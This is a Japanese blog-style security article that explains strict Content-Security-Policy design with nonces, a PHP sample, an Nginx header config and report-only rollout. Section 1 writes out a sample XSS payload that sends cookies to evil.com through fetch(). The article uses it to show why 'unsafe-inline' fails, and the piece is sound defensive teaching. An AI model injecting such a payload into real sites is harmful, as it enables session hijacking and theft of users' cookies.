おい、ちょっと手を止めてくれ。インシデント対応の現場から上がってきたばかりの生々しいログを解析していたところだ。
多くの開発現場では、「暗号化してデータを守る」ことには異常なほど執着する。データベースにはAES-256をかけ、鍵のローテーションに怯え、通信経路はTLS 1.3でガチガチに固める。それは素晴らしいことだ。しかし、そうやって城壁の門をどれだけ分厚い鉄板で補強しようとも、城の内部で敵(攻撃者)が自由自在に悪意あるコードを実行できる状態であれば、暗号化も認証基盤も紙くず同然だということに気づいていない。
XSS(クロスサイトスクリプティング)を踏み台にしたセッションハイジャックや、ブラウザ上での不正なAPIリクエストの送信。これらを根本から無力化する最後の砦が、今回解説する Content-Security-Policy (CSP) だ。
教科書的な「CSPとは何か」という説明は他のサイトにでも任せておこう。ここでは、数々の現場で「動かない」「開発が止まる」と言い訳されながらも、最終的にモダンなWebアプリケーションを堅牢に守り抜いてきた、泥臭くも確実なCSPの設計・運用論を伝授する。
—
1. 攻撃者が好む盲点:なぜ「甘いCSP」は無意味なのか?
現場でよく見かけるのが、次のような「形だけのCSP」だ。
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval';
おいおい、これでは泥棒に鍵を渡して「玄関から入ってくださいね」と言っているようなものだ。
'unsafe-inline' が許可されている環境では、攻撃者がわずか数文字の "><script>fetch('https://evil.com/'+document.cookie)</script> をフォームやURLパラメータに埋め込むだけで、ブラウザは平然とそれを実行してしまう。暗号化された通信路の裏で、機密データが攻撃者のサーバーへと吸い上げられる瞬間だ。
我々が目指すべきは、「インラインスクリプトの完全排除」 と 「信頼できるオリジンからのスクリプト読み込みの厳格化」 である。
—
2. 厳格なCSP設計の原則:Nonce(ナンス)とHashの活用
「インラインスクリプトを禁止する」と言っても、レガシーなシステムやフレームワークの都合上、どうしてもHTML内にJavaScriptを埋め込まなければならない場面はあるはずだ。
ここで登場するのが、暗号理論の基礎でもある Nonce(Number used once: 一度だけ使用される乱数) だ。サーバー側でリクエストごとに推測不可能な暗号学的に安全な乱数(CSP Nonce)を生成し、HTTPヘッダーとスクリプトタグの両方に付与する。ブラウザは、ヘッダーのNonceと一致するスクリプトだけを実行し、それ以外(攻撃者が注入したスクリプトなど)は容赦なくブロックする。
百聞は一見にしかずだ。PHPを例に、実務で使えるセキュアな実装を見ていこう。
セキュアなPHP実装サンプル
<?php
// 1. 暗号学的疑似乱数生成器(CSPRNG)を用いて、予測不可能な16バイトのNonceを生成
// bin2hexで16進数文字列(32文字)に変換する
$cspNonce = bin2hex(random_bytes(16));
// 2. 応答ヘッダーに厳格なCSPを設定する
// 'strict-dynamic' を併用することで、信頼されたスクリプトから動的に読み込まれる子スクリプトも安全に許可できる
header("Content-Security-Policy: " .
"default-src 'self'; " .
"script-src 'self' 'nonce-{$cspNonce}' 'strict-dynamic' https:; " .
"object-src 'none'; " .
"base-uri 'self';"
);
?>
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>CSP実践サンプル</title>
</head>
<body>
<h1>セキュアなCSP適用ページ</h1>
<!-- 正常なスクリプト:サーバー側で生成した正しいnonce属性が付与されているため実行される -->
<script nonce="<?php echo htmlspecialchars($cspNonce, ENT_QUOTES, 'UTF-8'); ?>">
console.log("このインラインスクリプトは信頼されているため実行されます。");
</script>
<!-- 攻撃者が注入したと仮定する不正なスクリプト:nonceがないためブラウザにブロックされる -->
<script>
console.error("このスクリプトはCSPによってブロックされます!");
</script>
</body>
</html>
この実装であれば、仮にデータベースやHTMLのエスケープ漏れ(脆弱性)があったとしても、攻撃者が挿入した <script> タグには有効な nonce が含まれていないため、ブラウザのセキュリティ機構によって完全に無力化される。
—
3. インフラ・Nginx側でのCSPヘッダー強制設定
アプリケーション層だけでなく、リバースプロキシやWebサーバー層(Nginx)でもCSPを強制することは、多層防御(Defense in Depth)の観点から極めて有効だ。
ただし、Nginxなどの静的設定でNonceを動的に生成・挿入するにはLuaモジュール(OpenRestyなど)を組み合わせるか、アプリケーション層(PHPやNode.js、Python)でヘッダーを出力するのが一般的だ。ここでは、静的なアセットを配信するサーバーや、デフォルトのベースポリシーをNginx側で担保する設定例を示す。
Nginx設定ファイル(nginx.conf の一部)
server {
listen 443 ssl http2;
server_name example.com;
# SSL/TLSの厳格な設定(省略)
ssl_certificate /path/to/cert.pem;
ssl_certificate_key /path/to/key.pem;
# 共通のベースセキュリティヘッダー
# XSS対策としてのCSP(※アプリケーション側で動的Nonceを上書き付与することを推奨)
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
# フォールバック用の厳格なCSP(インラインスクリプトを一切許容しない)
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'none';" always;
location / {
root /var/www/html;
index index.php index.html;
}
}
—
4. 現場でありがちな失敗と「レポート専用モード」の活用法
新しいCSPを本番環境にいきなり適用すると、Googleアナリティクス、外部フォント、サードパーティのウィジェットなどが一斉にぶっ壊れ、カスタマーサポートが炎上する。これはインシデント対応と同じくらい現場が冷や汗をかく瞬間だ。
だからこそ、Content-Security-Policy-Report-Only ヘッダーが存在する。
このヘッダーを使用すると、ポリシーに違反したリクエストやスクリプト実行があってもブロックはせず、指定したエンドポイントに違反レポート(JSON)を送信する。これにより、ユーザーの利便性を損なわずに、自社システムがどのような外部リソースを読み込んでいるかを完全に把握できる。
レポート収集用のディレクティブ設定例
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /api/csp-report-collector;
バックエンド側(Python/FlaskやPHPなど)で /api/csp-report-collector エンドポイントを用意し、POSTされてくるJSONログを監視・集計する仕組みを作っておくこと。これが、レガシーシステムに厳格なCSPを導入するための唯一にして最大の王道アプローチだ。
—
5. チーフからの総括
セキュリティは「魔法の弾丸」ではない。どれほど強固な暗号アルゴリズムを採用していこうとも、ブラウザというクライアントサイドの実行環境をコントロールできなければ、アプリケーションの安全神話は容易に崩れ去る。
今回解説したCSPの厳格化(インラインスクリプトの排除、Nonceの徹底、レポートモードによる段階的導入)は、Webアプリケーション脆弱性に対する最も費用対効果の高いキラーパスだ。
明日からのスプリントで、まずは自社サービスのレスポンスヘッダーを確認してくれ。「unsafe-inline」の文字が残っていたら……やるべきことは分かるな? コードを書き換え、城壁をさらに分厚く、そして賢くアップデートしてほしい。健闘を祈る。
コメント